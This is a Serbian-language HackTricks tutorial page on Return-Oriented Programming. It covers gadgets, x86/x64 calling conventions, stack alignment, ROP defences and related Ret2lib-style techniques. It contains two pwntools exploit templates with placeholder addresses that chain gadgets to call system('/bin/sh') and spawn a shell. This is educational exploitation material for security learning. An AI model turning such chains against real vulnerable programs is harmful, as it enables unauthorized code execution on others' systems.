ROP - Return Oriented Programing

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Return-Oriented Programming (ROP) je napredna tehnika eksploatacije koja se koristi za zaobilaženje sigurnosnih mera poput No-Execute (NX) ili Data Execution Prevention (DEP). Umesto ubacivanja i izvršavanja shell koda, napadač koristi delove koda već prisutne u binarnom fajlu ili u učitanim bibliotekama, poznate kao "gadgeti". Svaki gadget obično završava sa ret instrukcijom i obavlja malu operaciju, poput premeštanja podataka između registara ili obavljanja aritmetičkih operacija. Spajanjem ovih gadgeta, napadač može konstruisati payload za obavljanje proizvoljnih operacija, efikasno zaobilazeći NX/DEP zaštite.

Kako ROP funkcioniše

  1. Preuzimanje kontrole toka: Prvo, napadač mora preuzeti kontrolu toka programa, obično iskorišćavanjem prelivanja bafera da bi prepisao sačuvanu adresu povratka na steku.

  2. Spajanje Gadgeta: Napadač zatim pažljivo bira i spaja gadgete da bi obavio željene akcije. To može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr. system("/bin/sh")), i rukovanje neophodnim čišćenjem ili dodatnim operacijama.

  3. Izvršavanje Payloada: Kada ranjiva funkcija završi, umesto povratka na legitimnu lokaciju, počinje izvršavanje lanca gadgeta.

Alati

Obično, gadgeti se mogu pronaći korišćenjem ROPgadget, ropper ili direktno iz pwntools (ROP).

ROP Lanac u x86 Primeru

x86 (32-bit) Konvencije pozivanja

  • cdecl: Pozivaoc čisti stek. Argumenti funkcije se guraju na stek u obrnutom redosledu (desno-levu). Argumenti se guraju na stek s desna na levo.

  • stdcall: Slično cdecl-u, ali callee je odgovoran za čišćenje steka.

Pronalaženje Gadgeta

Prvo, pretpostavimo da smo identifikovali potrebne gadgete unutar binarnog fajla ili njegovih učitanih biblioteka. Gadgeti koji nas zanimaju su:

  • pop eax; ret: Ovaj gadget skida vrh vrednosti sa steka u registar EAX i zatim se vraća, omogućavajući nam kontrolu nad EAX.

  • pop ebx; ret: Slično kao prethodno, ali za registar EBX, omogućavajući kontrolu nad EBX.

  • mov [ebx], eax; ret: Premešta vrednost iz EAX u memorijsku lokaciju na koju pokazuje EBX i zatim se vraća. Ovo se često naziva write-what-where gadget.

  • Dodatno, imamo adresu funkcije system() dostupnu.

ROP Lanac

Koristeći pwntools, pripremamo stek za izvršavanje ROP lanca kako sledi sa ciljem izvršavanja system('/bin/sh'), obratite pažnju kako lanac počinje sa:

  1. ret instrukcijom radi poravnanja (opciono)

  2. Adresa funkcije system (pretpostavljajući isključenu ASLR i poznatu libc, više informacija u Ret2lib)

  3. Rezervisano mesto za adresu povratka iz system()

  4. Adresa stringa "/bin/sh" (parametar za funkciju system)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Primer ROP lanac u x64

x64 (64-bit) Konvencije pozivanja

  • Koristi System V AMD64 ABI konvenciju pozivanja na sistemima sličnim Unix-u, gde se prva šest celobrojnih ili pokazivačkih argumenata prosleđuje u registre RDI, RSI, RDX, RCX, R8, i R9. Dodatni argumenti se prosleđuju na steku. Povratna vrednost se smešta u RAX.

  • Windows x64 konvencija pozivanja koristi RCX, RDX, R8, i R9 za prva četiri celobrojna ili pokazivačka argumenta, sa dodatnim argumentima prosleđenim na steku. Povratna vrednost se smešta u RAX.

  • Registri: 64-bitni registri uključuju RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, i R8 do R15.

Pronalaženje Gadgeta

Za našu svrhu, fokusiraćemo se na gedžete koji će nam omogućiti postavljanje registra RDI (kako bismo prosledili string "/bin/sh" kao argument funkciji system()) i zatim pozvali funkciju system(). Pretpostavićemo da smo identifikovali sledeće gedžete:

  • pop rdi; ret: Skida vrh vrednosti sa steka u registar RDI i zatim se vraća. Bitan za postavljanje argumenta za system().

  • ret: Jednostavan povratak, koristan za poravnanje steka u nekim scenarijima.

I znamo adresu funkcije system().

ROP Lanac

U nastavku je primer korišćenja pwntools za postavljanje i izvršavanje ROP lanca sa ciljem izvršavanja system('/bin/sh') na x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

U ovom primeru:

  • Koristimo pop rdi; ret gedžet da postavimo RDI na adresu "/bin/sh".

  • Direktno skačemo na system() nakon postavljanja RDI, sa adresom system() funkcije u lancu.

  • ret_gadget se koristi za poravnanje ako ciljano okruženje zahteva, što je češće u x64 da bi se osiguralo pravilno poravnanje steka pre pozivanja funkcija.

Poravnanje Staka

x86-64 ABI osigurava da je stek poravnan na 16 bajtova kada se izvrši call instrukcija. LIBC, radi optimizacije performansi, koristi SSE instrukcije (kao što su movaps) koje zahtevaju ovo poravnanje. Ako stek nije pravilno poravnan (što znači da RSP nije višekratnik od 16), pozivi funkcija poput system će neuspešno završiti u ROP lancu. Da biste to rešili, jednostavno dodajte ret gedžet pre pozivanja system u vašem ROP lancu.

x86 vs x64 glavna razlika

Pošto x64 koristi registre za prvih nekoliko argumenata, često zahteva manje gedžeta od x86 za jednostavne pozive funkcija, ali pronalaženje i povezivanje pravih gedžeta može biti složenije zbog povećanog broja registara i većeg adresnog prostora. Povećani broj registara i veći adresni prostor u x64 arhitekturi pružaju kako mogućnosti, tako i izazove za razvoj eksploatacija, posebno u kontekstu Return-Oriented Programming (ROP).

ROP lanac u ARM64 Primeru

ARM64 Osnove & Konvencije pozivanja

Proverite sledeću stranicu za ove informacije:

pageIntroduction to ARM64v8

Zaštite Protiv ROP

  • ASLR & PIE: Ove zaštite otežavaju korišćenje ROP jer se adrese gedžeta menjaju između izvršavanja.

  • Stack Canaries: U slučaju BOF-a, potrebno je zaobići čuvare steka kako bi se prepisali povratni pokazivači za zloupotrebu ROP lanca.

  • Nedostatak Gedžeta: Ako nema dovoljno gedžeta, neće biti moguće generisati ROP lanac.

Tehnike Bazirane na ROP-u

Primetite da je ROP samo tehnika za izvršavanje proizvoljnog koda. Bazirano na ROP-u, razvijeno je mnogo Ret2XXX tehnika:

  • Ret2lib: Koristi ROP za pozivanje proizvoljnih funkcija iz učitane biblioteke sa proizvoljnim parametrima (obično nešto poput system('/bin/sh').

pageRet2lib
  • Ret2Syscall: Koristi ROP za pripremu poziva syscall-a, npr. execve, i čini ga da izvrši proizvoljne komande.

pageRet2syscall
  • EBP2Ret & EBP Chaining: Prvi će zloupotrebiti EBP umesto EIP-a za kontrolu toka, a drugi je sličan Ret2lib-u, ali u ovom slučaju tok je kontrolisan uglavnom sa EBP adresama (mada je takođe potrebno kontrolisati i EIP).

pageStack Pivoting - EBP2Ret - EBP chaining

Ostali Primeri & Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated